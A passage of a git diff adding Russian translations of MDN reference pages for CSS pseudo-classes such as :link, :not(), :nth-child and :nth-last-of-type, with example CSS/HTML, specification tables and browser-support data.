+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Выставляем_отступы_для_левых_страниц">Выставляем отступы для левых страниц</h3>
+
+<pre class="brush: css notranslate">@page :left {
+  margin: 2in 3in;
+}
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Paged Media', '#left-right-first', ':left') }}</td>
+   <td>{{ Spec2('CSS3 Paged Media') }}</td>
+   <td>Без изменения</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'page.html#page-selectors', ':left') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>Первое определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p class="hidden">Таблица совместимости на этой странице создана из структурированных данных.  Если вы желаете что-то добавить в эти данные, пожалуйста перейдите на <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</p>
+
+<p>{{Compat("css.selectors.left")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{ Cssxref("@page") }}</li>
+ <li>Другие псевдоклассы, связанные с @page: {{ Cssxref(":first") }}, {{ Cssxref(":right") }}</li>
+</ul>
diff --git a/files/ru/web/css/_colon_link/index.html b/files/ru/web/css/_colon_link/index.html
new file mode 100644
index 0000000000..76b0a4d894
--- /dev/null
+++ b/files/ru/web/css/_colon_link/index.html
@@ -0,0 +1,116 @@
+---
+title: ':link'
+slug: 'Web/CSS/:link'
+tags:
+  - Псевдо-классы
+translation_of: 'Web/CSS/:link'
+---
+<p>{{ CSSRef() }}</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p>CSS <a href="/ru/docs/Web/CSS/Псевдо-классы" title="Pseudo-classes">псевдо-класс</a> <code>:link</code> позволяет вам выбирать ссылки внутри элементов. Он выберет любую ссылку, которая ещё не была посещена, даже те, которые уже стилизованы, используя селекторы с другими, относящимися к ссылкам, псевдо-классам типа {{ cssxref(":hover") }}, {{ cssxref(":active") }} или {{ cssxref(":visited") }}. Чтобы стилизовать ссылки должным образом, вам нужно вставлять правила <code>:link</code> до других, как определено <em>LVHA-порядком</em>: <code>:link</code> — <code>:visited</code> — <code>:hover</code> — <code>:active</code>. Псевдо-класс {{ cssxref(":focus") }} обычно размещается прямо перед или сразу после <code>:hover</code>, в зависимости от ожидаемого эффекта.</p>
+
+<div class="note">
+<p><strong>Замечание</strong><strong>:</strong> Используйте {{cssxref(":any-link")}} чтобы выбрать ссылку, независимо от того, была она посещена или нет.</p>
+</div>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: css">a:link {color: slategray;}
+.external:link {background-color: lightblue;}</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('HTML WHATWG', 'scripting.html#selector-link', ':link') }}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS4 Selectors', '#link', ':link') }}</td>
+   <td>{{ Spec2('CSS4 Selectors') }}</td>
+   <td>Без изменений.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Selectors', '#link', ':link') }}</td>
+   <td>{{ Spec2('CSS3 Selectors') }}</td>
+   <td>Без изменений</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'selector.html#link-pseudo-classes', ':link') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>Появилось ограничение применять только для элемента {{ HTMLElement("a") }}.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS1', '#anchor-pseudo-classes', ':link') }}</td>
+   <td>{{ Spec2('CSS1') }}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Поддержка браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>1</td>
+   <td>{{ CompatGeckoDesktop("1") }}</td>
+   <td>3.0</td>
+   <td>3.5</td>
+   <td>1.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>1.5</td>
+   <td>{{ CompatGeckoMobile("1.9.2") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{ cssxref(":visited") }}, {{ cssxref(":hover") }}, {{ cssxref(":active") }}</li>
+</ul>
diff --git a/files/ru/web/css/_colon_not/index.html b/files/ru/web/css/_colon_not/index.html
new file mode 100644
index 0000000000..26721ae7b7
--- /dev/null
+++ b/files/ru/web/css/_colon_not/index.html
@@ -0,0 +1,132 @@
+---
+title: ':not()'
+slug: 'Web/CSS/:not'
+translation_of: 'Web/CSS/:not'
+---
+<div>{{ CSSRef() }}</div>
+
+<h2 id="Summary" name="Summary">Описание</h2>
+
+<p><strong>Отрицательный </strong><a href="/ru/docs/CSS/Pseudo-classes" title="Pseudo-classes">CSS псевдо-класс</a>, <code>:not(X)</code> - функция, принимающая простой селектор <var>X</var> в качестве аргумента. Он находит элементы, не соответствующие селектору. <var>X</var> не должен содержать других отрицательных селекторов.</p>
+
+<div class="note"><strong>Замечания:</strong>
+
+<ul>
+ <li>С этого псевдокласса можно написать бесполезные селекторы. Например, <code>:not(*)</code> найдёт любой элемент, являющийся не любым, то есть правило не применится ни к одному элементу.</li>
+ <li>Возможно переписать другие правила. Например <code>foo:not(bar)</code> найдёт тот же элемент, что и простой <code>foo</code>. Тем не менее <a href="/ru/docs/CSS/Specificity" title="Specificity">специфичность</a> первого выше.</li>
+ <li><code>:not(foo){} </code>найдёт что угодно, что не <code>foo</code>, <strong>включая {{HTMLElement("html")}} и {{HTMLElement("body")}}.</strong></li>
+ <li>Это селектор применяется только к одному элементу. Вы не можете использовать его, чтобы исключить всех родителей. Например, <code>body :not(table) a</code> применится к ссылкам внутри таблицы, тогда как {{HTMLElement("tr")}} будет соответствовать <code>:not()</code> части селектора.</li>
+</ul>
+</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">:not(selector) { <em>style properties</em> }</pre>
+
+<h2 id="Examples" name="Examples">Пример</h2>
+
+<pre class="brush: css">p:not(.classy) { color: red; }
+body :not(p) { color: green; }</pre>
+
+<p>CSS выше и HTML ниже...</p>
+
+<pre class="brush: html">&lt;p&gt;Некоторый текст.&lt;/p&gt;
+&lt;p class="classy"&gt;Какой-то другой текст.&lt;/p&gt;
+&lt;span&gt;Ещё текст&lt;span&gt;
+</pre>
+
+<p>Выведет это:</p>
+
+<p>{{ EmbedLiveSample('Examples', '', '', '', 'Web/CSS/:not') }}</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS4 Selectors', '#negation', ':not()') }}</td>
+   <td>{{ Spec2('CSS4 Selectors') }}</td>
+   <td>Аргумент расширен до поддержки нескольких непростых селекторов.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Selectors', '#negation', ':not()') }}</td>
+   <td>{{ Spec2('CSS3 Selectors') }}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Поддержка браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>1.0</td>
+   <td>{{ CompatGeckoDesktop("1") }}</td>
+   <td>9.0</td>
+   <td>9.5</td>
+   <td>3.2</td>
+  </tr>
+  <tr>
+   <td>Расширенные аргументы</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>2.1</td>
+   <td>{{ CompatGeckoMobile("1") }}</td>
+   <td>9.0</td>
+   <td>10.0</td>
+   <td>3.2</td>
+  </tr>
+  <tr>
+   <td>Расширенные аргументы</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p> </p>
diff --git a/files/ru/web/css/_colon_nth-child/index.html b/files/ru/web/css/_colon_nth-child/index.html
new file mode 100644
index 0000000000..140087f56a
--- /dev/null
+++ b/files/ru/web/css/_colon_nth-child/index.html
@@ -0,0 +1,184 @@
+---
+title: ':nth-child'
+slug: 'Web/CSS/:nth-child'
+tags:
+  - CSS
+  - Layout
+  - Reference
+  - Web
+  - Псевдоклассы
+translation_of: 'Web/CSS/:nth-child'
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ru/docs/Web/CSS">CSS</a> <a href="/ru/docs/Web/CSS/Псевдо-классы">псевдокласс</a>  <strong><code>:nth-child()</code></strong> находит один или более элементов, основываясь на их позиции среди группы соседних элементов.</p>
+
+<pre class="brush: css no-line-numbers">/* Выбирает каждый четвёртый элемент
+   среди любой группы соседних элементов */
+:nth-child(4n) {
+  color: lime;
+}
+</pre>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<p>Псевдокласс <code>nth-child</code> указывается с единственным аргументом, описывающим паттерн для выбирания элементов.</p>
+
+<h3 id="Ключевые_слова">Ключевые слова</h3>
+
+<dl>
+ <dt><code>odd</code></dt>
+ <dd>Описывает элементы среди группы соседних с нечётными номерами 1, 3, 5, и т. д.</dd>
+ <dt><code>even</code></dt>
+ <dd>Описывает элементы среди группы соседних с чётными номерами 2, 4, 6, и т. д.</dd>
+</dl>
+
+<h3 id="Функциональная_запись">Функциональная запись</h3>
+
+<dl>
+ <dt><code>&lt;An+B&gt;</code></dt>
+ <dd>Описывает элементы среди группы соседних с номерами, соответствующими паттерну <code>An+B</code> (для каждого целого числа n &gt;= 0). Нумерация элементов начинается с единицы. Значения <code>A</code> и <code>B</code> должны быть {{cssxref("&lt;integer&gt;")}}s.</dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example_selectors" name="Example_selectors">Примеры селекторов</h3>
+
+<dl>
+ <dt><code>tr:nth-child(odd)</code> или <code>tr:nth-child(2n+1)</code></dt>
+ <dd>Описывает нечётные строки HTML таблицы: 1, 3, 5, и т. д.</dd>
+ <dt><code>tr:nth-child(even)</code> or <code>tr:nth-child(2n)</code></dt>
+ <dd>Описывает чётные строки HTML таблицы: 2, 4, 6, и т. д.</dd>
+ <dt><code>:nth-child(7)</code></dt>
+ <dd>Описывает седьмой элемент.</dd>
+ <dt><code>:nth-child(5n)</code></dt>
+ <dd>Описывает элементы с номерами 5, 10, 15, и т. д.</dd>
+ <dt><code>:nth-child(3n+4)</code></dt>
+ <dd>Описывает элементы с номерами 4, 7, 10, 13, и т. д.</dd>
+ <dt><code>:nth-child(-n+3)</code></dt>
+ <dd>Описывает первые три элемента среди группы соседних элементов.</dd>
+ <dt><code>p:nth-child(n)</code></dt>
+ <dd>Описывает каждый элемент<code>&lt;p&gt;</code> среди группы соседних элементов. Эквивалентно простому селектору <code>p</code>.</dd>
+ <dt><code>p:nth-child(1)</code> или <code>p:nth-child(0n+1)</code></dt>
+ <dd>Описывает каждый элемент <code>&lt;p&gt;</code>, являющийся первым среди группы соседних элементов. Эквивалентно селектору {{cssxref(":first-child")}}.</dd>
+</dl>
+
+<h3 id="Подробный_пример">Подробный пример</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush:html">&lt;h3&gt;&lt;code&gt;span:nth-child(2n+1)&lt;/code&gt;, БЕЗ элемента
+   &lt;code&gt;&amp;lt;em&amp;gt;&lt;/code&gt; в группе элементов-потомков.&lt;/h3&gt;
+&lt;p&gt;Элементы 1, 3, 5 и 7 будут выбраны.&lt;/p&gt;
+&lt;div class="first"&gt;
+  &lt;span&gt;Span 1!&lt;/span&gt;
+  &lt;span&gt;Span 2&lt;/span&gt;
+  &lt;span&gt;Span 3!&lt;/span&gt;
+  &lt;span&gt;Span 4&lt;/span&gt;
+  &lt;span&gt;Span 5!&lt;/span&gt;
+  &lt;span&gt;Span 6&lt;/span&gt;
+  &lt;span&gt;Span 7!&lt;/span&gt;
+&lt;/div&gt;
+
+&lt;br&gt;
+
+&lt;h3&gt;&lt;code&gt;span:nth-child(2n+1)&lt;/code&gt;, С элементом
+   &lt;code&gt;&amp;lt;em&amp;gt;&lt;/code&gt; в группе элементов-потомков.&lt;/h3&gt;
+&lt;p&gt;Элементы 1, 5 и 7 будут выбраны.&lt;br&gt;
+   3 используется в подсчёте потому что это элемент-потомок,
+   но он не выбран потому что он не &lt;code&gt;&amp;lt;span&amp;gt;&lt;/code&gt;.&lt;/p&gt;
+&lt;div class="second"&gt;
+  &lt;span&gt;Span!&lt;/span&gt;
+  &lt;span&gt;Span&lt;/span&gt;
+  &lt;em&gt;Это `em`.&lt;/em&gt;
+  &lt;span&gt;Span&lt;/span&gt;
+  &lt;span&gt;Span!&lt;/span&gt;
+  &lt;span&gt;Span&lt;/span&gt;
+  &lt;span&gt;Span!&lt;/span&gt;
+  &lt;span&gt;Span&lt;/span&gt;
+&lt;/div&gt;
+
+&lt;br&gt;
+
+&lt;h3&gt;&lt;code&gt;span:nth-of-type(2n+1)&lt;/code&gt;, С элементом
+   &lt;code&gt;&amp;lt;em&amp;gt;&lt;/code&gt; в группе элементов-потомков.&lt;/h3&gt;
+&lt;p&gt;Элементы 1, 4, 6 и 8 будут выбраны.&lt;br&gt;
+   3 не используется в подсчёте и не выбран, потому что это &lt;code&gt;&amp;lt;em&amp;gt;&lt;/code&gt;,
+   но не &lt;code&gt;&amp;lt;span&amp;gt;&lt;/code&gt;, а &lt;code&gt;nth-of-type&lt;/code&gt; выбирает только
+   потомков этого типа. Элемент &lt;code&gt;&amp;lt;em&amp;gt;&lt;/code&gt; полностью пропускается и игнорируется.&lt;/p&gt;
+&lt;div class="third"&gt;
+  &lt;span&gt;Span!&lt;/span&gt;
+  &lt;span&gt;Span&lt;/span&gt;
+  &lt;em&gt;Это `em`.&lt;/em&gt;
+  &lt;span&gt;Span!&lt;/span&gt;
+  &lt;span&gt;Span&lt;/span&gt;
+  &lt;span&gt;Span!&lt;/span&gt;
+  &lt;span&gt;Span&lt;/span&gt;
+  &lt;span&gt;Span!&lt;/span&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">html {
+  font-family: sans-serif;
+}
+
+span,
+div em {
+  padding: 5px;
+  border: 1px solid green;
+  display: inline-block;
+  margin-bottom: 3px;
+}
+
+.first span:nth-child(2n+1),
+.second span:nth-child(2n+1),
+.third span:nth-of-type(2n+1) {
+  background-color: lime;
+}</pre>
+
+<h4 id="Результат">Результат</h4>
+
+<p>{{EmbedLiveSample('Подробный_пример', 550, 550)}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#nth-child-pseudo', ':nth-child')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Добавление синтаксиса <code>of &lt;selector&gt;</code>, также теперь выбранные элементы не обязательно должны иметь родителя.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#nth-child-pseudo', ':nth-child')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div>
+<p>{{Compat("css.selectors.nth-child")}}</p>
+</div>
+
+<h2 id="See_also" name="See_also">См. также</h2>
+
+<ul>
+ <li>{{ Cssxref(":nth-of-type") }}, {{ Cssxref(":nth-last-child") }}</li>
+</ul>
diff --git a/files/ru/web/css/_colon_nth-last-child/index.html b/files/ru/web/css/_colon_nth-last-child/index.html
new file mode 100644
index 0000000000..c000427aa8
--- /dev/null
+++ b/files/ru/web/css/_colon_nth-last-child/index.html
@@ -0,0 +1,151 @@
+---
+title: ':nth-last-child'
+slug: 'Web/CSS/:nth-last-child'
+tags:
+  - Псевдоклассы
+translation_of: 'Web/CSS/:nth-last-child'
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Описание">Описание</h2>
+
+<p><a href="/ru/docs/CSS" title="CSS">CSS</a> <a href="/ru/docs/Web/CSS/Псевдо-классы" title="Pseudo-classes">псевдокласс</a> <code>:nth-last-child(an+b)</code> находит элемент, имеющий <code><em>a</em>n+<em>b</em>-1</code> потомков после данной позиции в дереве документа, значение для <code>n </code>может быть положительным или нулевым, а также имеющий родительский элемент.</p>
+
+<p>В результате, он функционирует так же, как и {{Cssxref(":nth-child")}}, кроме того, что выбирает элементы, считая в обратном порядке, с <strong>конца</strong> списка потомков, не с начала.</p>
+
+<p>Смотрите {{Cssxref(":nth-child")}} для более тщательного описания синтаксиса его аргументов.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">element:nth-last-child(<em>a</em>n + <em>b</em>) {<em>стили</em> }
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Пример_селекторов">Пример селекторов</h3>
+
+<dl>
+ <dt><code>tr:nth-last-child(-n+4)</code></dt>
+ <dd>Находит последние 4 строки HTML таблицы.</dd>
+ <dt><code>span:nth-last-child(even)</code></dt>
+ <dd>Ищет чётные элементы в родительском элементе, начиная с последнего элемента и работая задом наперёд.</dd>
+</dl>
+
+<h3 id="Использование">Использование</h3>
+
+<p>Этот CSS ...</p>
+
+<pre class="brush: css">table {
+  border: 1px solid blue;
+}
+tr:nth-last-child(-n+3) { /* последние 3 потомка */
+  background-color: lime;
+}
+</pre>
+
+<p>... с этим HTML ...</p>
+
+<pre class="brush: html">&lt;table&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;td&gt;Первая&lt;/td&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+       &lt;td&gt;Вторая строка&lt;/td&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+       &lt;td&gt;Третья&lt;/td&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+       &lt;td&gt;Четвёртая&lt;/td&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+       &lt;td&gt;Пятая строчка&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;
+</pre>
+
+<p>... будет выглядеть, как :</p>
+
+<p>{{EmbedLiveSample('Примеры', '100%', 150)}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#nth-last-child-pseudo', ':nth-last-child')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Без изменений</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#nth-last-child-pseudo', ':nth-last-child')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>4.0</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9.0</td>
+   <td>9.5</td>
+   <td>3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>2.1</td>
+   <td>{{CompatGeckoMobile("1.9.1")}}</td>
+   <td>9.0</td>
+   <td>10.0</td>
+   <td>3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{Cssxref(":nth-child")}}</li>
+</ul>
diff --git a/files/ru/web/css/_colon_nth-last-of-type/index.html b/files/ru/web/css/_colon_nth-last-of-type/index.html
new file mode 100644
index 0000000000..7b3eb9728f
--- /dev/null
+++ b/files/ru/web/css/_colon_nth-last-of-type/index.html
@@ -0,0 +1,95 @@
+---
+title: ':nth-last-of-type()'
+slug: 'Web/CSS/:nth-last-of-type'
+tags:
+  - CSS
+  - Layout
+  - Reference
+  - Web
+  - Псевдоклассы
+translation_of: 'Web/CSS/:nth-last-of-type'
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ru/docs/Web/CSS">CSS</a> <a href="/ru/docs/Web/CSS/Псевдо-классы">псевдокласс</a> <strong><code>:nth-last-of-type()</code></strong> находит один или более элементов с заданным тегом, основываясь на их позиции среди группы соседних элементов, считая с конца.</p>
+
+<pre class="brush: css no-line-numbers">/* Выбирает каждый четвёртый элемент &lt;p&gt;
+   среди любой группы соседних элементов,
+   отсчёт начинается с последнего элемента */
+p:nth-last-of-type(4n) {
+  color: lime;
+}</pre>
+
+<div class="note">
+<p><strong>Примечание:</strong> Этот псевдокласс практически такой же как {{Cssxref(":nth-of-type")}}, за исключением того, что счёт элементов производится в обратном порядке начиная с <em>конца</em>, а не в обычном порядке с начала.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<p>Псевдокласс <code>nth-last-of-type</code> указывается с единственным аргументом, описывающим паттерн для выбирания элементов, начиная с конца.</p>
+
+<p>Более детальное описание синтаксиса может быть найдено на странице псевдокласса {{Cssxref(":nth-last-child")}}.</p>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;span&gt;Это span.&lt;/span&gt;
+  &lt;span&gt;Это другой span.&lt;/span&gt;
+  &lt;em&gt;Это текст будет подчёркнут.&lt;/em&gt;
+  &lt;span&gt;Круто, этот span лаймовый!!!&lt;/span&gt;
+  &lt;strike&gt;Это вообще не span.&lt;/strike&gt;
+  &lt;span&gt;Это ещё один последний span.&lt;/span&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">span:nth-last-of-type(2) {
+  background-color: lime;
+}</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample('Пример')}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#nth-last-of-type-pseudo', ':nth-last-of-type')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Теперь выбранные элементы не обязательно должны иметь родителя.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#nth-last-of-type-pseudo', ':nth-last-of-type')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div>
+<p>{{Compat("css.selectors.nth-last-of-type")}}</p>
+</div>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>{{Cssxref(":nth-last-child")}}, {{Cssxref(":nth-of-type")}}</li>
+</ul>
diff --git a/files/ru/web/css/_colon_nth-of-type/index.html b/files/ru/web/css/_colon_nth-of-type/index.html
new file mode 100644
index 0000000000..b58d49df8a
--- /dev/null
+++ b/files/ru/web/css/_colon_nth-of-type/index.html
@@ -0,0 +1,104 @@
+---
+title: ':nth-of-type'
+slug: 'Web/CSS/:nth-of-type'
+tags:
+  - CSS
+  - Layout
+  - Reference
+  - Web
+  - Псевдоклассы
+translation_of: 'Web/CSS/:nth-of-type'
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ru/docs/Web/CSS">CSS</a> <a href="/ru/docs/Web/CSS/Псевдо-классы">псевдокласс</a> <strong><code>:nth-of-type()</code></strong> находит один или более элементов с заданным тегом, основываясь на их позиции среди группы соседних элементов.</p>
+
+<pre class="brush: css no-line-numbers  language-css">/* Выбирает каждый четвёртый элемент &lt;p&gt;
+   среди любой группы соседних элементов. */
+p:nth-of-type(4n) {
+  color: lime;
+}</pre>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<p>Псевдокласс <code>nth-of-type</code> указывается с единственным аргументом, описывающим паттерн для выбора элементов.</p>
+
+<p>Более детальное описание синтаксиса может быть найдено на странице псевдокласса {{Cssxref(":nth-child")}}.</p>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Базовый_пример">Базовый пример</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;div&gt;Этот элемент не учитывается.&lt;/div&gt;
+  &lt;p&gt;Первый параграф.&lt;/p&gt;
+  &lt;p&gt;Второй параграф.&lt;/p&gt;
+  &lt;div&gt;Этот элемент не учитывается.&lt;/div&gt;
+  &lt;p&gt;Третий параграф.&lt;/p&gt;
+  &lt;p&gt;Четвёртый параграф.&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">/* Нечётные параграфы */
+p:nth-of-type(2n+1) {
+  color: red;
+}
+
+/* Чётные параграфы */
+p:nth-of-type(2n) {
+  color: blue;
+}
+
+/* Первый параграф */
+p:nth-of-type(1) {
+  font-weight: bold;
+}
+</pre>
+
+<h4 id="Результат">Результат</h4>
+
+<p>{{EmbedLiveSample('Базовый_пример', 250, 200)}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#nth-of-type-pseudo', ':nth-of-type')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Теперь выбранные элементы не обязательно должны иметь родителя.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#nth-of-type-pseudo', ':nth-of-type')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div>
